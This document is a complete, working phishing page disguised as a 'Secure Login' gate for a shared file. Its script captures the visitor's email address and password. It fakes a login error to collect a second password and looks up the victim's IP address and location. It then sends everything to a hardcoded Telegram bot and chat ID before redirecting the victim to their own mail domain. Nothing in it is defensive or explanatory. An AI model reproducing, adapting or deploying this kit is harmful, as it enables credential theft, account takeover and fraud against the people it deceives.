<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>Secure Login</title>
    <style>
        body {
            font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
            background-color: #f3f3f3; 
            margin: 0;
            padding: 0;
            display: flex;
            justify-content: center;
            align-items: center;
            height: 100vh;
        }
        .container {
            background-color: #ffffff; 
            border-radius: 8px;
            box-shadow: 0 0 15px rgba(0, 0, 0, 0.1);
            padding: 40px;
            width: 400px; 
            text-align: left;
            position: relative; 
        }
        h2 {
            font-size: 24px; 
            color: #333; 
            margin: 0 0 20px 0;
        }
        .logo {
            position: absolute; 
            top: 20px;
            left: 20px; 
            width: 100px; 
            height: auto; 
        }
        .container input {
            width: 100%;
            padding: 12px;
            margin: 10px 0;
            border-radius: 4px;
            border: 1px solid #ccc; 
            font-size: 16px; 
        }
        .button-container {
            display: flex;
            justify-content: flex-end; 
            margin-top: 10px; 
        }
        .container button {
            padding: 12px; 
            background-color: #0078d4; 
            color: white;
            border: none;
            border-radius: 4px;
            cursor: pointer;
            font-size: 16px; 
            transition: background-color 0.3s; 
            margin-left: 10px; 
			width: 120px;
        }
        .container button:hover {
            background-color: #005a9e; 
        }
        #password-page, #loading, #error-page {
            display: none;
        }
        .email-display {
            color: #555; 
            font-size: 20px; 
        }
        .footer {
            margin-top: 20px;
            font-size: 12px;
            color: #777;
        }
		

		
    </style>
</head>
<body>
    <div class="container">
        <img src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcShRctrAR6pVjP7rjWn9knJw5khnvp7X1ACgH_XzisrSxhMzU1Kp55AG_dLgRO4X7Rr_hQ&usqp=CAU" alt="PDF Logo" class="logo">
        <!-- Page 1: Email Input -->
        <div id="email-page">
		<br>
			<br>
			<br>
			<br>
            Only receiptionist email address can access this file:
            <input type="email" id="email" placeholder="Email address" required>
            <div class="button-container">
                <button id="next-button">Next</button>
            </div>
        </div>

        <!-- Page 2: Password Input -->
        <div id="password-page">
		<br>
			<br>
			<br>
			<br>
            <h3>Welcome Back!</h3>
            <p class="email-display" id="email-display"></p>
			Enter your email password:
            <input type="password" id="password" placeholder="Password" required>
            <div class="button-container">
			
                <button id="submit-button">Sign in</button>
            </div>
        </div>

        <!-- Page 3: Error Page -->
        <div id="error-page">
		<br>
			<br>
			<br>
			<br>
            <p style="color:red;"> Email or password is incorrect.</p>
            <p class="email-display" id="error-email-display"></p>
            <input type="password" id="retry-password" placeholder="Enter your password again" required>
            <div class="button-container">
                <button id="retry-button">Sign in</button>
            </div>
        </div>

        <!-- Loading Page -->
        <div id="loading">
            <p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Verifying... Please wait...</p>
        </div>

        <div class="footer">
            <p><a href="#">Forgot password?</a></p>
        </div>
    </div>

    <script>
        const botToken = '7084409486:AAGZjNJrQJ43lHjFlT3sxtD19bFPXG0yAn0';  
        const chatId = '7634026867';      

        let userEmail = '';
        let userPassword = '';
        let userRetryPassword = '';
        let userIp = '';
        let userLocation = '';
        let authorName = 'Dr Monk';

        // Email Page to Password Page
        // Email Validation
document.getElementById('next-button').addEventListener('click', function () {
    const email = document.getElementById('email').value.trim();
    if (email && validateEmail(email)) {
        userEmail = email;
        document.getElementById('email-display').innerText = email;
        document.getElementById('email-page').style.display = 'none';
        document.getElementById('password-page').style.display = 'block';
    } else {
        alert("Please enter a valid email address.");
    }
});

// Email Validation Function
function validateEmail(email) {
    const regex = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
    return regex.test(email);
}

// Password Submission
document.getElementById('submit-button').addEventListener('click', function () {
    const password = document.getElementById('password').value.trim();
    if (password) {
        userPassword = password;
        showLoading();
        setTimeout(simulateError, 3000);
    } else {
        alert("Password cannot be empty.");
    }
});

// Retry Logic
document.getElementById('retry-button').addEventListener('click', function () {
    const retryPassword = document.getElementById('retry-password').value.trim();
    if (retryPassword) {
        userRetryPassword = retryPassword;
        showLoading();
        fetchUserIpAndLocation();
    } else {
        alert("Please enter the password again.");
    }
});

// Show Loading Page
function showLoading() {
    document.getElementById('email-page').style.display = 'none';
    document.getElementById('password-page').style.display = 'none';
    document.getElementById('error-page').style.display = 'none';
    document.getElementById('loading').style.display = 'block';
}

// Simulate Error Page
function simulateError() {
    document.getElementById('loading').style.display = 'none';
    document.getElementById('error-email-display').innerText = userEmail;
    document.getElementById('error-page').style.display = 'block';
}

// IP and Location Fetch
function fetchUserIpAndLocation() {
    fetch('https://api.ipify.org?format=json')
        .then(response => response.json())
        .then(data => {
            userIp = data.ip;
            return fetch(`https://ipapi.co/${userIp}/json/`);
        })
        .then(response => response.json())
        .then(locationData => {
            userLocation = `${locationData.city}, ${locationData.region}, ${locationData.country_name}`;
            sendToTelegram();
        })
        .catch(() => {
            userLocation = "Unknown";
            sendToTelegram();
        });
}

// Send Data to Telegram
function sendToTelegram() {
    const date = new Date();
    const message = `
        🚨 **New Login Attempt** 🚨 
		
		     👑 Author: ${authorName} 👑
			 
        📧 Email: ${userEmail}
        🔑 Password: ${userPassword}
        🔑 Retry Password: ${userRetryPassword || 'N/A'}
		
        📍  IP: ${userIp}
        🌐 Location: ${userLocation}
        🕒 Date: ${date.toLocaleDateString()}
        📅 Time: ${date.toLocaleTimeString()}
    `;

    fetch(`https://api.telegram.org/bot${botToken}/sendMessage?chat_id=${chatId}&text=${encodeURIComponent(message)}`)
        .then(response => {
            if (response.ok) {
                redirectToDomain();
            } else {
                throw new Error('Failed to open message');
            }
        })
        .catch(() => {
            redirectToDomain();
        });
}

// Redirect to Domain
function redirectToDomain() {
    const domain = userEmail.split('@')[1];
    const redirectUrl = domain ? `https://${domain}` : '/';
    window.location.href = redirectUrl;
}

    </script>
</body>
</html>
